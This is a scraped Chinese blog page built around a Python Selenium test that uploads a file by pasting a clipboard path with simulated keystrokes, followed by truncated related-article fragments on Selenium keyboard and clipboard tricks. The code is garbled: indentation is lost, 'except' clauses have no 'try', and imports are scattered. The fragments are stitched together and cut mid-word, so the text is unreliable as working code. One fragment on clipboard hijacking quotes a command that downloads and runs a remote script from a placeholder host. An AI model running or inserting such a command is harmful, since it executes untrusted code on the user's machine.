import win32con
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
# 用于设置剪切板内容
def setText(aString):
w.OpenClipboard()
w.EmptyClipboard()
w.SetClipboardData(win32con.CF_UNICODETEXT, aString)
w.CloseClipboard()
# 键盘按键映射字典
VK_CODE = {
'enter':0x0D,
'ctrl':0x11,
'v':0x56}
# 键盘键按下
def keyDown(keyName):
win32api.keybd_event(VK_CODE[keyName], 0, 0, 0)
# 键盘键抬起
def keyUp(keyName):
win32api.keybd_event(VK_CODE[keyName], 0, win32con.KEYEVENTF_KEYUP, 0)
class TestDemo(unittest.TestCase):
def setUp(self):
# 启动ie浏览器
self.driver = webdriver.Ie(executable_path = "g:\\IEDriverServer")
def test_uploadFileByKeyboard(self):
url = "http://127.0.0.1/test_upload_file.html"
# 访问自定义网页
self.driver.get(url)
# 创建一个显示等待对象
wait = WebDriverWait(self.driver, 10, 0.2)
# 显示等待判断被测试页面上的上传文件按钮是否处于可被点击状态
wait.until(EC.element_to_be_clickable((By.ID, 'file')))
except TimeoutException as e:
# 捕获TimeoutException异常
print (traceback.print_exc())
except NoSuchElementException as e:
# 捕获NoSuchElementException异常
print (traceback.print_exc())
except Exception as e:
# 捕获其他异常
print (traceback.print_exc())
else:
# 将即将要上传的文件名及路径设置到剪切板中
setText("g:\\test.txt")
# 查找页面上ID属性值为“file”的文件上传框,
# 并点击调出选择文件上传框
self.driver.find_element_by_id("file").click()
time.sleep(2)
# 模拟键盘按下ctrl + v组合键
keyDown("ctrl")
keyDown("v")
# 模拟键盘释放Ctrl + v组合键
keyUp("v")
keyUp("ctrl")
time.sleep(1)
# 模拟键盘按下回车键
keyDown("enter")
# 模拟键盘释放回车键
keyUp("enter")
# 暂停查看上传的文件
time.sleep(2)
# 找到页面上ID属性值为“filesubmit”的文件提交按钮对象
fileSubmitButton = self.driver.find_element_by_id("filesubmit")
# 单击提交按钮,完成文件上传操作
fileSubmitButton.click()
# 因为文件上传需要时间,所以这里可以添加显示等待场景,
# 判断文件上传成功后,页面是否跳转到文件上传成功的页面。
# 通过EC.title_is()方法判断跳转后的页面的Title
# 值是否符合期望,如果匹配将继续执行后续代码
#wait.until(EC.title_is(u"文件上传成功"))
def tearDown(self):
# 退出IE浏览器
self.driver.quit()
if __name__ == '__main__':
unittest.main()
#使用键盘操作,复制剪贴板中的文件路径,回车提交,实现上传文件from selenium import webdriverimport unittestimport timeimport tracebackimport win32clipboard as wimport win32apiimport win32confrom selenium.webdriver.support.u...
from
selenium
import webdriver
browser=webdriver.Chrome()#完成浏览器对象的初始化
browser.get('http://www.imomoe.in/')#使用get进入一个页面
print(browser.page_source)#page_source属性打印网页源
public void setClipboardData(String data) {
StringSelection stringSelection = new StringSelection(data);
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null);
from
selenium
import webdriver
from
selenium
.webdriver.common.keys import Keys
from time import sleep
driver=webdriver.Chrome()
driver.get("http://www.baidu.com/")
driver.find_element_by_css_selector("#kw").send_keys("Python")
sleep(4)
#
键盘
全选
操作
driver.fi
import unittest
from
selenium
import webdriver
from
selenium
.webdriver.common.keys import Keys
import time
import selectors
class MyTestCase(unittest.TestCase):
def setUp(self):
self.driver=webdriver....
selenium
里面具有很强大的
键盘
操作
库,今天实践了一下最简单全选
复制
粘贴
操作
。
首先我们导入webdriver服务
from
selenium
import webdriver
导入提供鼠标
操作
的ActionChains类
from
selenium
.webdriver.common.action_chains import ActionChains
设置浏览器,我这里是火狐浏览器
dri...
import java.awt.*;
import java.awt.datatransfer.StringSelection;
import java.awt.event.KeyEvent;
import java.io.*;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import org.openqa.
selenium
...
键盘
操作
--将百度搜索的关键字
复制
到必应
中
进行搜索
--导入模块from
selenium
.webdriver.common.keys import Keys
--
复制
from
selenium
import webdriver
from
selenium
.webdriver.common.keys import Keys
from time import sleep...
以最简单的例子来说明,我们需要在bing搜索引擎
中
,输入并查询“
Selenium
自动化
测试”几个字。可以很快就写出如下代码:
String queryString = "
Selenium
自动化
测试";
WebElement element = driver.findElement(By
.xpath("//input[@id='sb_form_q']"));
// 直接输入查询字符串
...
待实现需求:将目标值先写入粘贴板、然后模拟
键盘
的Ctrl+V获取已写入粘贴板的内容。
所需的
文件
:ClipboardUtil.py、TestSendMain.py
ClipboardUtil.py
文件
的内容:
1 # -*- coding: utf-8 -*-
2 #用于实现将数据设置到
剪贴板
中
4 import win32clipboard as w
5 imp...
实际执行:
bash <(curl -s -S -L http://xxx.com/xxx.sh),而且还TM的自动
回车
执行了。。。
0x01 实现原理:
在网页里使用js代码,改变
复制
的内容
<html&amp
Python UI
自动化
可以使用第三方库如
Selenium
、PyAutoGUI等,通过对UI元素的定位和
操作
实现
自动化
操作
。对于CSV
文件
中
的数据,可以使用Python内置的csv模块进行读取和处理。
以下是一个简单的示例代码,演示了如何使用Python的csv模块读取CSV
文件
中
的数据,并将其用于UI
自动化
:
```python
import csv
from
selenium
import webdriver
# 打开CSV
文件
with open('data.csv') as f:
reader = csv.reader(f)
# 跳过表头
next(reader)
# 遍历每一行数据
for row in reader:
# 获取数据
username = row[0]
password = row[1]
# 打开浏览器
driver = webdriver.Chrome()
# 访问登录页面
driver.get('http://example.com/login')
# 在输入框
中
输入用户名和密码
driver.find_element_by_name('username').send_keys(username)
driver.find_element_by_name('password').send_keys(password)
# 点击登录按钮
driver.find_element_by_name('login').click()
# 关闭浏览器
driver.quit()
在这个示例代码
中
,假设CSV
文件
中
包含用户名和密码的数据,其
中
第一列是用户名,第
二
列是密码。我们使用Python的csv模块读取CSV
文件
,并遍历每一行数据。对于每一行数据,我们从
中
获取用户名和密码,并使用
Selenium
打开浏览器,访问登录页面,输入用户名和密码,然后点击登录按钮。最后,我们关闭浏览器,处理下一行数据。
出现selenium.common.exceptions.NoSuchElementException: Message: Unable to find element with xpath的解决方案
22341
出现selenium.common.exceptions.NoSuchElementException: Message: Unable to find element with xpath的解决方案
出现UnboundLocalError: local variable 'a' referenced before assignment异常的情况与解决方法
StefniaXU:
Python操作文件,报FileNotFoundError: [Errno 2] No such file or directory错误
m0_58714219:
出现IndentationError: unexpected indent或者TabError: inconsistent use of tabs and spaces异常的情况及解决方法
HTTP协议之Cookie和Session
Python文件操作之读取文件中的tuple、list、dict